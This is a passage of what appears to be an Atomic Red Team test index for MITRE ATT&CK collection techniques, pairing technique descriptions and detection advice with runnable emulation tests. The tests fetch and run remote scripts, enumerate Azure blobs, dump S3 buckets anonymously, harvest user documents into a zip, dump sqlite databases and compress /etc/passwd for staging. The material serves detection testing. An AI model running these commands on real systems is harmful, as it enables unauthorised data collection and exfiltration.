        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
      - description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1}

          '
        get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt"
          -outfile "#{wordlist}"

          '
      executor:
        command: |
          import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
          Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
        cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue

          '
        name: powershell
    - name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
      auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
      description: "Upon successful execution, this test will test for anonymous access
        to Azure storage containers by invoking a web request and outputting the results
        to a file. \nThe corresponding response could then be interpreted to determine
        whether or not the resource/container exists, as well as other information.
        \nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
        \    \n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        base_name:
          description: Azure storage account name to test
          type: string
          default: T1530Test2
        output_file:
          description: File to output results to
          type: string
          default: "$env:temp\\T1530Test2.txt"
        container_name:
          description: Container name to search for (optional)
          type: string
          default: 
        blob_name:
          description: Blob name to search for (optional)
          type: string
          default: 
      executor:
        command: |
          try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
          catch [system.net.webexception]
          {if($_.Exception.Response -ne $null)
          {$Response = $_.Exception.Response.GetResponseStream()
          $ReadResponse = New-Object System.IO.StreamReader($Response)
          $ReadResponse.BaseStream.Position = 0
          $responseBody = $ReadResponse.ReadToEnd()}
          else {$responseBody = "The storage account could not be anonymously accessed."}}
          "Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
        cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue

          '
        name: powershell
    - name: AWS - Scan for Anonymous Access to S3
      auto_generated_guid: 979356b9-b588-4e49-bba4-c35517c484f5
      description: "Upon successful execution, this test will test for anonymous access
        to AWS S3 buckets and dumps all the files to a local folder. \n"
      supported_platforms:
      - iaas:aws
      input_arguments:
        s3_bucket_name:
          description: Name of the bucket
          type: string
          default: redatomic-test2
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: |
          cat ~/.aws/credentials | grep "default"
          aws s3api create-bucket --bucket #{s3_bucket_name}
          aws s3api put-bucket-policy --bucket #{s3_bucket_name} --policy file://$PathToAtomicsFolder/T1530/src/policy.json
          touch /tmp/T1530.txt
          aws s3 cp /tmp/T1530.txt s3://#{s3_bucket_name}
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          default profile using: aws configure

          '
      executor:
        command: 'aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}

          '
        cleanup_command: "aws s3 rb s3://#{s3_bucket_name} --force \nrm -rf /tmp/#{s3_bucket_name}\n"
        name: sh
        elevation_required: false
  T1074.002:
    technique:
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0
      type: attack-pattern
      created: '2020-03-13T21:14:58.206Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1074.002
        url: https://attack.mitre.org/techniques/T1074/002
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Remote Data Staging
      description: |-
        Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

        In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

        By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1005:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Data from Local System
      description: |
        Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

        Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - William Cain
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor processes and command-line arguments for actions
        that could be taken to collect files from a system. Remote access tools with
        built-in features may interact directly with the Windows API to gather data.
        Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        commands may also be used to collect files such as configuration files with
        built-in features native to the network device platform.(Citation: Mandiant
        APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity
        for unexpected or unauthorized use commands being run by non-standard users
        from non-standard locations. Data may also be acquired through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network
        infrastructure devices, collect AAA logging to monitor `show` commands that
        view configuration files. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Privileges to access certain files and directories
      type: attack-pattern
      id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5
      created: '2017-05-31T21:30:20.537Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1005
        external_id: T1005
      - source_name: show_run_config_cmd_cisco
        description: Cisco. (2022, August 16). show running-config - Cisco IOS Configuration
          Fundamentals Command Reference . Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733
      - source_name: 'Mandiant APT41 Global Intrusion '
        description: 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25).
          This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple
          Exploits. Retrieved February 17, 2022.'
        url: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1005
    atomic_tests:
    - name: Search files of interest and save them to a single zip file (Windows)
      auto_generated_guid: d3d9af44-b8ad-4375-8b0a-4bff4b7e419c
      description: "This test searches for files of certain extensions and saves them
        to a single zip file prior to extraction.                              \n"
      supported_platforms:
      - windows
      input_arguments:
        starting_directory:
          description: Path to starting directory for the search
          type: Path
          default: C:\Users
        output_zip_folder_path:
          description: Path to directory for saving the generated zip file
          type: Path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1005
        file_extensions:
          description: List of file extensions to be searched and zipped, separated
            by comma and space
          type: string
          default: ".doc, .docx, .txt"
      executor:
        command: "$startingDirectory = \"#{starting_directory}\"\n$outputZip = \"#{output_zip_folder_path}\"\n$fileExtensionsString
          = \"#{file_extensions}\" \n$fileExtensions = $fileExtensionsString -split
          \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force
          | Out-Null\n\nFunction Search-Files {\n  param (\n    [string]$directory\n
          \ )\n  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object
          {\n    $fileExtensions -contains $_.Extension.ToLower()\n  }\n  return $files\n}\n\n$foundFiles
          = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt
          0) {\n  $foundFilePaths = $foundFiles.FullName\n  Compress-Archive -Path
          $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n  Write-Host
          \"Zip file created: $outputZip\\data.zip\"\n  } else {\n      Write-Host
          \"No files found with the specified extensions.\"\n  }\n"
        cleanup_command: 'Remove-Item -Path  $outputZip\data.zip -Force

          '
        name: powershell
        elevation_required: false
    - name: Find and dump sqlite databases (Linux)
      auto_generated_guid: 00cbb875-7ae4-4cf1-b638-e543fd825300
      description: 'An adversary may know/assume that the user of a system uses sqlite
        databases which contain interest and sensitive data. In this test we download
        two databases and a sqlite dump script, then run a find command to find &
        dump the database content.

        '
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src
      dependencies:
      - description: 'Check if running on a Debian based machine.

          '
        prereq_command: |
          if [ -x "$(command -v sqlite3)" ]; then echo "sqlite3 is installed"; else echo "sqlite3 is NOT installed"; exit 1; fi
          if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
          if [ -x "$(command -v strings)" ]; then echo "strings is installed"; else echo "strings is NOT installed"; exit 1; fi
        get_prereq_command: |
          if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fi
          if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi
      executor:
        name: bash
        elevation_required: false
        command: |
          cd $HOME
          curl -O #{remote_url}/art
          curl -O #{remote_url}/gta.db
          curl -O #{remote_url}/sqlite_dump.sh
          chmod +x sqlite_dump.sh
          find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
        cleanup_command: "rm -f $HOME/.art\nrm -f $HOME/gta.db\nrm -f $HOME/sqlite_dump.sh
          \n"
  T1560.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6
      type: attack-pattern
      created: '2020-02-20T21:08:52.529Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1560.002
        url: https://attack.mitre.org/techniques/T1560/002
      - source_name: PyPI RAR
        url: https://pypi.org/project/rarfile/
        description: mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.
      - source_name: libzip
        url: https://libzip.org/
        description: D. Baron, T. Klausner. (2020). libzip. Retrieved February 20,
          2020.
      - source_name: Zlib Github
        url: https://github.com/madler/zlib
        description: madler. (2017). zlib. Retrieved February 20, 2020.
      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        source_name: Wikipedia File Header Signatures
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Archive Collected Data: Archive via Library'
      description: |-
        An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

        Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: |-
        Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'File: File Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1560.002
    atomic_tests:
    - name: Compressing data using GZip in Python (FreeBSD/Linux)
      auto_generated_guid: 391f5298-b12d-4636-8482-35d9c17d53a8
      description: 'Uses GZip from Python to compress files

        '
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .gz file to be
          type: path
          default: "/tmp/passwd.gz"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: 'which python || which python3

          '
        get_prereq_command: 'echo "please install python to run this test"; exit 1

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          which_python=`which python || which python3`
          $which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();"
        cleanup_command: 'rm #{path_to_output_file}

          '
    - name: Compressing data using bz2 in Python (FreeBSD/Linux)
      auto_generated_guid: c75612b2-9de0-4d7c-879c-10d7b077072d
      description: 'Uses bz2 from Python to compress files

        '
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .bz2 file to be
          type: path
          default: "/tmp/passwd.bz2"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: 'which python || which python3

          '
        get_prereq_command: 'echo "please install python to run this test"; exit 1

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          which_python=`which python || which python3`
          $which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();"
        cleanup_command: 'rm #{path_to_output_file}

          '
    - name: Compressing data using zipfile in Python (FreeBSD/Linux)
      auto_generated_guid: 001a042b-859f-44d9-bf81-fd1c4e2200b0
      description: 'Uses zipfile from Python to compress files

        '
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .zip file to be
          type: path
          default: "/tmp/passwd.zip"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: 'which python || which python3

          '
        get_prereq_command: 'echo "please install python to run this test"; exit 1

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          which_python=`which python || which python3`
          $which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')"
        cleanup_command: 'rm #{path_to_output_file}

          '
    - name: Compressing data using tarfile in Python (FreeBSD/Linux)
      auto_generated_guid: e86f1b4b-fcc1-4a2a-ae10-b49da01458db
      description: 'Uses tarfile from Python to compress files

        '
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .tar.gz file to be
          type: path
          default: "/tmp/passwd.tar.gz"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: 'which python || which python3

          '
        get_prereq_command: 'echo "please install python to run this test"; exit 1

          '
      executor:
        name: sh
        elevation_required: false
        command: "which_python=`which python || which python3`\n$which_python -c \"from
          zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')\"
          \n"
        cleanup_command: 'rm #{path_to_output_file}

          '
  T1602.002:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd
      type: attack-pattern
      created: '2020-10-20T00:08:21.745Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1602.002
        url: https://attack.mitre.org/techniques/T1602/002
      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: US-CERT TA18-068A 2018
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Network Device Configuration Dump
      description: "Adversaries may access network configuration files to collect
        sensitive data about the device and the network. The network configuration
        is a file containing parameters that determine the operation of the device.
        The device typically stores an in-memory copy of the configuration while operating,
        and a separate configuration on non-volatile storage to load after device
        reset. Adversaries can inspect the configuration files to reveal information
        about the target network and its layout, the network device and its software,
        or identifying legitimate accounts and credentials for later use.\n\nAdversaries
        can use common management tools and protocols, such as Simple Network Management
        Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation:
        US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog
        Legacy Device Attacks) These tools may be used to query specific data from
        a configuration repository or configure the device to export the configuration
        for later analysis. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks. Configure signatures to identify strings that may be found in
        a network device configuration.(Citation: US-CERT TA18-068A 2018)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1560:
    technique:
      modified: '2024-01-20T00:07:58.958Z'
      name: Archive Collected Data
      description: |-
        An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

        Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a
      created: '2020-02-20T20:53:45.725Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1560
        external_id: T1560
      - source_name: DOJ GRU Indictment Jul 2018
        description: Mueller, R. (2018, July 13). Indictment - United States of America
          vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
        url: https://www.justice.gov/file/1080281/download
      - source_name: Wikipedia File Header Signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        url: https://en.wikipedia.org/wiki/List_of_file_signatures
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1560
    atomic_tests:
    - name: Compress Data for Exfiltration With PowerShell
      auto_generated_guid: 41410c60-614d-4b9d-b66e-b0192dd9c597
      description: "An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration.\nWhen the test completes you should find
        the files from the $env:USERPROFILE directory compressed in a file called
        T1560-data-ps.zip in the $env:USERPROFILE directory \n"
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path that should be compressed into our output file
          type: path
          default: "$env:USERPROFILE"
        output_file:
          description: Path where resulting compressed data should be placed
          type: path
          default: "$env:USERPROFILE\\T1560-data-ps.zip"
      executor:
        name: powershell
        elevation_required: false
        command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}

          '
        cleanup_command: 'Remove-Item -path #{output_file} -ErrorAction Ignore'
  T1185:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Justin Warner, ICEBRG
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47
      type: attack-pattern
      created: '2018-01-16T16:13:52.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1185
        external_id: T1185
      - url: https://en.wikipedia.org/wiki/Man-in-the-browser
        description: Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved
          January 10, 2018.
        source_name: Wikipedia Man in the Browser
      - url: https://www.cobaltstrike.com/help-browser-pivoting
        description: Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.
        source_name: Cobalt Strike Browser Pivot
      - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
          BUSINESSES. Retrieved January 17, 2018.
        source_name: ICEBRG Chrome Extensions
      - url: https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf
        description: Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual.
          Retrieved May 24, 2017.
        source_name: cobaltstrike manual
      modified: '2022-05-11T14:00:00.188Z'
      name: Browser Session Hijacking
      description: |-
        Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

        A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.

        Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: This may be a difficult technique to detect because adversary
        traffic may be masked by normal user traffic. New processes may not be created
        and no additional software dropped to disk. Authentication logs can be used
        to audit logins to specific web applications, but determining malicious logins
        versus benign logins may be difficult if activity matches typical user behavior.
        Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055)
        against browser applications.
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Modification'
      - 'Process: Process Access'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1557.003:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: DHCP Spoofing
      description: "Adversaries may redirect network traffic to adversary-owned systems
        by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting
        as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle
        (AiTM) position, adversaries may collect network communications, including
        passed credentials, especially those sent over insecure, unencrypted protocols.
        This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040)
        or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP
        is based on a client-server model and has two functionalities: a protocol
        for providing network configuration settings from a DHCP server to a client
        and a mechanism for allocating network addresses to clients.(Citation: rfc2131)
        The typical server-client interaction is as follows: \n\n1. The client broadcasts
        a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which
        includes an available network address. \n\n3. The client broadcasts a `REQUEST`
        message, which includes the network address offered. \n\n4. The server acknowledges
        with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries
        may spoof as a rogue DHCP server on the victim network, from which legitimate
        hosts may receive malicious network configurations. For example, malware can
        act as a DHCP server and provide adversary-owned DNS servers to the victimized
        computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g)
        Through the malicious network configurations, an adversary may achieve the
        AiTM position, route client traffic through adversary-controlled systems,
        and collect information from the client network.\n\nDHCPv6 clients can receive
        network configuration information without being assigned an IP address by
        sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code>
        multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP
        server to respond to this request message with malicious network configurations.\n\nRather
        than establishing an AiTM position, adversaries may also abuse DHCP spoofing
